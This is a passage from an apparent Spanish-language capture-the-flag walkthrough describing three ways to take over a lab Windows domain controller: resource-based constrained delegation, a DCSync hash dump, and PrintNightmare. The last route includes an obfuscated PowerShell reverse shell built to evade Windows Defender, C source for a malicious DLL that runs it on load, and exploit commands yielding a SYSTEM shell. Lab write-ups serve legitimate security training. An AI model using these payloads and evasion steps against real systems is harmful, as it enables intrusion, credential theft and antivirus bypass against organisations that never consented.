❯ nxc winrm 192.168.56.116 -u 'MSOL' -p 'YRax2Ry8g2ITQ3hpRPze'

WINRM       192.168.56.116  5985   WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-C73PROQLRHL) (domain:cons.thl)
WINRM       192.168.56.116  5985   WIN-C73PROQLRHL  [-] cons.thl\MSOL:YRax2Ry8g2ITQ3hpRPze

Funciona. Pero este usuario no tiene acceso a través de WinRM.

Este nuevo usuario tiene permisos sobre casi todos los usuarios del dominio:

Curiosity2 4

Camino 1: Ataque Resource-based Constrained Delegation Link to heading

Este ataque consiste en agregar una máquina al dominio y solicitarle al Domain Controller un ticket en el nombre de esta máquina luego de asignarle permisos.

Para ello podemos ver que el usuario MSOL tiene permisos GenericWrite sobre la cuenta de máquina:

Curiosity2 5

Ya que esta condición se cumple, podemos performar un ataque Resource-based Constrained Delegation (RBCD).

Primero, revisamos si, como el usuario MSOL, somos capaces de agregar máquinas al dominio:

❯ nxc ldap 192.168.56.116 -u 'MSOL' -p 'YRax2Ry8g2ITQ3hpRPze' -M maq

SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
LDAP        192.168.56.116  389    WIN-C73PROQLRHL  [+] cons.thl\MSOL:YRax2Ry8g2ITQ3hpRPze
MAQ         192.168.56.116  389    WIN-C73PROQLRHL  [*] Getting the MachineAccountQuota
MAQ         192.168.56.116  389    WIN-C73PROQLRHL  MachineAccountQuota: 10

Podemos agregar máquinas tal cual marca el parámetro MachineAccountQuota: 10, el cual indica que podemos agregar hasta 10 máquinas en el dominio (el cual es el valor por defecto).

Para agregar una máquina al dominio usamos la herramienta addcomputer.py de Impacket para agregar una máquina controlada por nosotros (máquina que llamaremos GUNZF0X$) con las credenciales del usuario MSOL:

❯ impacket-addcomputer -computer-name 'GUNZF0X$' -computer-pass 'gunzf0x123$!' -dc-host cons.thl -domain-netbios cons.thl cons.thl/MSOL:'YRax2Ry8g2ITQ3hpRPze'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account GUNZF0X$ with password gunzf0x123$!.

Luego, podemos usar la herramienta rbcd.py de Impacket para delegar permisos a la máquina que hemos agregado:

❯ impacket-rbcd -delegate-from 'GUNZF0X$' -delegate-to 'WIN-C73PROQLRHL$' -dc-ip 192.168.56.116 -action 'write' 'cons.thl/MSOL':'YRax2Ry8g2ITQ3hpRPze'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] GUNZF0X$ can now impersonate users on WIN-C73PROQLRHL$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     GUNZF0X$     (S-1-5-21-2838722739-4169515792-1136184259-1526)

Finalmente, podemos solicitar un ticket con la herramienta getST.py de Impacket para el usuario Administrator para el servicio cifs (es decir, SMB). Básicamente, aquí le estamos diciendo al dominio “Hola, soy una máquina del dominio. ¿Serías tan amable de darme un ticket para el usuario Administrador para uno de tus servicios? Gracias”. Para ello ejecutamos:

❯ impacket-getST -spn 'cifs/WIN-C73PROQLRHL.cons.thl' -impersonate 'Administrator' -dc-ip 192.168.56.116 'cons.thl/GUNZF0X$':'gunzf0x123$!'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Obtenemos un error de reloj. Podemos emular una hora en el comando usando la herramienta faketime para bypassear este problema:

❯ faketime "$(ntpdate -q 192.168.56.116 | cut -d ' ' -f 1,2)" impacket-getST -spn 'cifs/WIN-C73PROQLRHL.cons.thl' -impersonate 'Administrator' -dc-ip 192.168.56.116 'cons.thl/GUNZF0X$':'gunzf0x123$!'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_WIN-C73PROQLRHL.cons.thl@CONS.THL.ccache

Obtenemos un ticket. Podemos usar este con la herramienta wmiexec.py y ganar así acceso a la máquian víctima. Aquí es mucho muy importante especificar WIN-C73PROQLRHL.cons.thl o el ticket no será válido:

❯ KRB5CCNAME=Administrator@cifs_WIN-C73PROQLRHL.cons.thl@CONS.THL.ccache impacket-wmiexec -k -no-pass Administrator@WIN-C73PROQLRHL.cons.thl

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] SMB SessionError: code: 0xc0000016 - STATUS_MORE_PROCESSING_REQUIRED - {Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.

Obtenemos un error de SMB. Este error también se debe a un error de sincronización de relojes, por lo que podemos volver a arreglarlo usando faketime:

❯ KRB5CCNAME=Administrator@cifs_WIN-C73PROQLRHL.cons.thl@CONS.THL.ccache faketime "$(ntpdate -q 192.168.56.116 | cut -d ' ' -f 1,2)" impacket-wmiexec -k -no-pass Administrator@WIN-C73PROQLRHL.cons.thl

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami

cons\administrator

Camino 2: Ataque DCSync Link to heading

Llama mi atención que el usuario MSOL tenga el privilegio GenericWrite sobre tantos usuarios. Quizás, en mi caso, Bloodhound estaba algo bugeado y podemos realizar un ataque DCSync.

Para ver si podemos performar un ataque DCSync podemos usar una herramietna como impacket-secretsdump:

❯ impacket-secretsdump MSOL:'YRax2Ry8g2ITQ3hpRPze'@WIN-C73PROQLRHL.cons.thl

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5d48bcf84aea999fb1ade06970a81237:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a6c4014f622dcadd4ec24cec540aaa86:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<SNIP>

Con este hash NTLM para el usuario Administrator podemos loguearnos en distintos servicios a través de un Pass The Hash.


Camino 3: PrintNightmare bypasseando Windows Defender Link to heading

Podemos revisar si la máquina víctima es vulnerable a PrintNightmare:

❯ impacket-rpcdump @192.168.56.116 | grep -E 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol

Dado que la máquina tiene protocolos MS-PAR y MS-RPRN habilitados esto indica que podría ser vulnerable.

Descargamos un script de Powershell el cual ejecuta este exploit desde este repositorio de Github y subimos el archivo a la máquina víctima. Como sea, al intentar de importar este módulo en Powershell vemos que Windows Defender nos bloquea:

*Evil-WinRM* PS C:\Users\sqlsvc\Documents> Import-Module .\CVE-2021-34527.ps1

At C:\Users\sqlsvc\Documents\CVE-2021-34527.ps1:1 char:1
+ function Invoke-Nightmare
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At C:\Users\sqlsvc\Documents\CVE-2021-34527.ps1:1 char:1
+ function Invoke-Nightmare
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

Algún tiempo atrás, para la máquina HackTheBox Mist, desarollé un simple script de Python el cual crea un payload para una reverse shell en Powershell ofuscado que bypassea Windows Defender. Éste puede ser descargado desde mi repositorio de Github. Una vez clonado, usamos esta herramienta:

❯ python3 BypassAMSI_PSRevshell.py revshell -i 192.168.56.2 -p 443

 ______                                 _______ _______  ______ _
(____  \                               (_______|_______)/ _____) |
 ____)  )_   _ ____  _____  ___  ___    _______ _  _  _( (____ | |
|  __  (| | | |  _ \(____ |/___)/___)  |  ___  | ||_|| |\____ \| |
| |__)  ) |_| | |_| / ___ |___ |___ |  | |   | | |   | |_____) ) |
|______/ \__  |  __/\_____(___/(___/   |_|   |_|_|   |_(______/|_|
 ______ (____/|_|     ______                  _           _ _
(_____ \ / _____)    (_____ \                | |         | | |
 _____) | (____ _____ _____) )_____ _   _ ___| |__  _____| | |
|  ____/ \____ (_____)  __  /| ___ | | | /___)  _ \| ___ | | |
| |      _____) )    | |  \ \| ____|\ V /___ | | | | ____| | |
|_|     (______/     |_|   |_|_____) \_/(___/|_| |_|_____)\_)_)
  by gunzf0x (https://github.com/gunzf0x/BypassAMSI_PSRevshell) 👻

[*] Payload successfully generated. Execute the following command in the target machine:

powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAMgAuADEANgA4AC4ANQA2AC4AMgAnACwANAA0ADMAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==

(don't forget to start listener on port 443)

donde 192.168.56.2 es nuestra máquina de atacante y 443 el puerto en el cual nos pondremos en escucha con netcat.

Creamos un archivos .dll el cual ejecuta un simple comando system (a nivel de sistema) y ejecuta el payload generado anteriormanete (si usamos un payload .dll generado con msfvenom, sucederá que Windows Defender lo bloqueará porque me pasó). Tenemos un archivo .c, el cual llamamos exp_dll.c, con el contenido:

#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) void execute_system_program() {
    // Command to execute (e.g., launching cmd.exe)
    system("powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAMgAuADEANgA4AC4ANQA2AC4AMgAnACwANAA0ADMAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==");
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // When the DLL is loaded, execute the system program
        execute_system_program();
    }
    return TRUE;
}

Podríamos compilar este archivo en una máquina Windows, pero también podemos hacerlo en una máquina Linux usando mingw (instalable ejecutando sudo apt install mingw-w64) y construimos el archivo .dll:

❯ x86_64-w64-mingw32-gcc -shared -o power.dll exp_dll.c

donde hemos guardado el archivo .dll malicioso como power.dll.

Luego, para abusar de PrintNightmare externamente, podemos usar este repositorio de Github el cual contiene un script de Python que solo utiliza Impacket para performar el ataque. Primero necesitamos “exponer” el archivo malicioso .dll a través de SMB. Podemos realizar esto fácilmente usando smbserver.py de Impacket en un recurso compartido llamado smbFolder:

❯ ls && impacket-smbserver smbFolder $(pwd) -smb2support

CVE-2021-34527.ps1  exp_dll.c  power.dll
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Empezamos un listener con netcat en el puerto 443 en otra terminal.

Luego, usamos printnightmare.py para solicitar el archivo malicioso .dll al recurso compartido. Podemos usar cualquier credencial para ejecutar este ataque; en este caso utilizaremos las credenciales del usuario Appolonia:

❯ python3 printnightmare.py -dll '\\192.168.56.2\smbFolder\power.dll' 'Appolonia':'5umm3r@'@192.168.56.116

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_7b3eed059f4c3e41\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\192.168.56.2\\smbFolder\\power.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
<SNIP>

Obtenemos una solicitud en nuestro recurso compartido SMB y, luego de ello, una conexión en nuestro listener con netcat como el usuario nt authority\system:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [192.168.56.2] from (UNKNOWN) [192.168.56.116] 53272

whoami
nt authority\system

PS >

GG. Podemos leer la flag de root en el directorio C:\Users\Administrator\Documents.

~Happy Hacking.